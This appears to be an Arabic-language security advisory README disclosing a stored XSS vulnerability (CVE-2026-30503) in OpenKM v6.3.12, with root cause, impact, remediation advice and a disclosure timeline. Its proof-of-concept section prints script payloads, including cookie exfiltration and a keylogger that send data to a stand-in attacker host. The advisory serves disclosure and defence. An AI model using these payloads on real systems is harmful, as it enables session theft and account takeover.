
# الكشف التفصيلي عن CVE-2026-30503 كشف تفصيلي عن CVE-2026-30503، وهي ثغرة XSS مخزنة في OpenKM الإصدار v6.3.12. يتضمن تحليل السبب الجذري، وحمولات إثبات المفهوم (PoC)، وتقييم الأثر، وتوصيات المعالجة للباحثين الأمنيين ومختبري الاختراق.
اكتشفها وقدّمها Dharmendra Kumar — باحث أمني
الأمن السيبراني | اختبار الاختراق | أبحاث الثغرات | الإفصاح المسؤول
يوثّق هذا المستودع الإفصاح المسؤول عن CVE-2026-30503، وهي ثغرة سكربتات عبر المواقع المخزّنة (Stored XSS) تم تحديدها في OpenKM v6.3.12 — وهو نظام مفتوح المصدر لإدارة المستندات يُستخدم على نطاق واسع في بيئات المؤسسات.
تسمح الثغرة لمهاجم مصادق بحقن JavaScript خبيث دائم في التطبيق، والذي يُنفَّذ في سياق متصفح أي مستخدم (بما في ذلك المسؤولون) يعرض المحتوى المتأثر لاحقاً.
⚠️ الشدة: عالية | متجه الهجوم: الشبكة | الصلاحيات المطلوبة: منخفضة | تفاعل المستخدم: مطلوب
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-30503 |
| المنتج | OpenKM |
| الإصدار المتأثر | v6.3.12 |
| فئة الثغرة | سكربتات عبر المواقع المخزّنة (Stored XSS) |
| CWE | CWE-79: تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| الباحث | Dharmendra Kumar |
| نوع الإفصاح | مسؤول / منسّق |
OpenKM هو نظام مجاني ومفتوح المصدر لإدارة المستندات (DMS) يوفر واجهة ويب لإدارة مستندات الأعمال ومراجعتها وتوزيعها. يُستخدم من قبل المؤسسات والهيئات الحكومية والمؤسسات التعليمية حول العالم.
v6.3.12تم اكتشاف ثغرات متعددة من نوع سكربتات عبر المواقع المخزّنة (Stored XSS) في OpenKM v6.3.12. يمكن لمهاجم يمتلك وصولاً مصادقاً بصلاحيات منخفضة حقن حمولات JavaScript عشوائية في حقل إدخال واحد أو أكثر. يتم تخزين هذه الحمولات بشكل دائم في الواجهة الخلفية للتطبيق وتنفيذها تلقائياً عندما يصل أي مستخدم — بما في ذلك المسؤولون — إلى الصفحة أو المكوّن المتأثر.
على عكس XSS الانعكاسي (Reflected XSS)، الذي يتطلب من الضحية النقر على رابط مخصص، فإن حمولات XSS المخزّنة تكون مضمنة في التطبيق نفسه، مما يجعلها أكثر خطورة واستمرارية بشكل كبير.
تنبع الثغرة من ثلاث نقاط ضعف متراكمة في خط معالجة المدخلات في التطبيق:
User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed
| نقطة الضعف | الوصف |
|---|---|
| ❌ نقص التحقق من المدخلات | لا يقيد التطبيق أو يعقّم الأحرف الخاصة (<, >, ", ', ;) في الحقول المقدمة من المستخدم |
| ❌ نقص ترميز المخرجات | تُعرض القيم المخزنة مباشرة في HTML دون ترميز كيانات HTML |
| ❌ عرض DOM غير آمن | تُدمج البيانات المقدمة من المستخدم في سياق DOM دون ضوابط CSP أو تعقيم |
يمكن أن يؤدي الاستغلال الناجح لهذه الثغرة إلى:
| الخطر | الوصف |
|---|---|
| 🍪 اختطاف الجلسة | سرقة رموز جلسة المصادقة عبر تسريب document.cookie |
| 👤 الاستيلاء على الحساب | اختراق حسابات الضحايا، بما في ذلك حسابات المسؤولين |
| 🔐 حصاد بيانات الاعتماد | حقن نماذج تصيد لالتقاط بيانات تسجيل الدخول |
| 📤 تسريب البيانات | استخراج المستندات أو البيانات الوصفية الحساسة من نظام إدارة المستندات (DMS) بصمت |
| ⚙️ إجراءات غير مصرح بها | تنفيذ عمليات بصلاحيات مرتفعة نيابة عن الضحية (حذف/تعديل المستندات) |
| 🎯 استهداف المسؤولين | تنفيذ الحمولة في لوحة تحكم المسؤول عندما يراجع المسؤول المحتوى |
| 🔄 انتشار الدودة | يمكن لحمولة XSS ذاتية النسخ الانتشار بين المستخدمين |
⚠️ إخلاء مسؤولية: يُشارك هذا الإثبات (PoC) لأغراض تعليمية وبحثية أمنية بحتة وفقاً لمبادئ الإفصاح المسؤول. لا تستخدمه ضد أنظمة لا تملكها أو لا تملك إذناً كتابياً صريحاً لاختبارها.
// Basic PoC — demonstrates script execution
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Session token exfiltration
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Keylogger injection
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| التوصية | التنفيذ |
|---|---|
| ✅ التحقق من المدخلات | اعتماد قائمة بيضاء للأحرف المسموح بها؛ ورفض أو إزالة الأحرف الخاصة بـ HTML في جميع مدخلات المستخدم |
| ✅ ترميز المخرجات | استخدام ترميز HTML حسب السياق (مثل OWASP Java Encoder) قبل عرض البيانات في HTML |
| ✅ سياسة أمان المحتوى (CSP) | تنفيذ ترويسة CSP صارمة: Content-Security-Policy: script-src 'self' |
| ✅ ملفات تعريف الارتباط HTTPOnly وSecure | تعيين علامتي HttpOnly وSecure على جميع ملفات تعريف ارتباط الجلسة لمنع وصول JavaScript إليها |
| ✅ استخدام مكتبات أمنية | دمج OWASP AntiSamy أو DOMPurify لتعقيم HTML |
| ✅ مراجعة الكود الأمنية | تدقيق جميع مسارات العرض بحثاً عن بيانات غير معقمة يتحكم بها المستخدم |
| ✅ الترقية | تطبيق أحدث تصحيح مقدم من البائع أو الترقية إلى إصدار مصحح |
| التاريخ | الحدث |
|---|---|
| 🔍 الاكتشاف | تم تحديد الثغرة أثناء التقييم الأمني لـ OpenKM v6.3.12 |
| 📧 إشعار البائع | تم إرسال تقرير الإفصاح الأولي إلى فريق أمان OpenKM |
| 🤝 إقرار البائع | أقرّ فريق OpenKM باستلام التقرير |
| 📝 تعيين CVE | تم تعيين CVE-2026-30503 من قبل برنامج CVE |
| 🌐 الإفصاح العام | إفصاح عام منسّق بعد فترة المعالجة |
تم الإفصاح عن هذه الثغرة باتباع أفضل ممارسات الإفصاح المسؤول، بالتنسيق مع البائع وبرنامج CVE قبل النشر العام.
باحث أمني | مختبِر اختراق | صائد ثغرات
Dharmendra Kumar هو باحث أمن سيبراني مستقل متخصص في أمن تطبيقات الويب واختبار الاختراق والإفصاح المسؤول عن الثغرات. من خلال تركيزه على تحديد العيوب الأمنية الواقعية في البرمجيات واسعة الاستخدام، يساهم عمله في تحسين الوضع الأمني للتطبيقات المستخدمة عالمياً.
مجالات الخبرة:
تواصل:
هذا المستودع مخصص لأغراض تعليمية وإعلامية فقط. تُنشر تفاصيل الثغرة وحمولات إثبات المفهوم المشاركة هنا وفقاً لمبادئ الإفصاح المسؤول. لا يوافق المؤلف ولا يشجع ولا يتحمل المسؤولية عن أي استخدام غير مصرح به لهذه المعلومات. احصل دائماً على إذن كتابي صريح قبل إجراء اختبارات أمنية على أي نظام.
شكر خاص لكل من:
⭐ إذا كان هذا البحث مفيداً، ففكر في إضافة نجمة إلى هذا المستودع.
© 2026 Dharmendra Kumar — جميع الحقوق محفوظة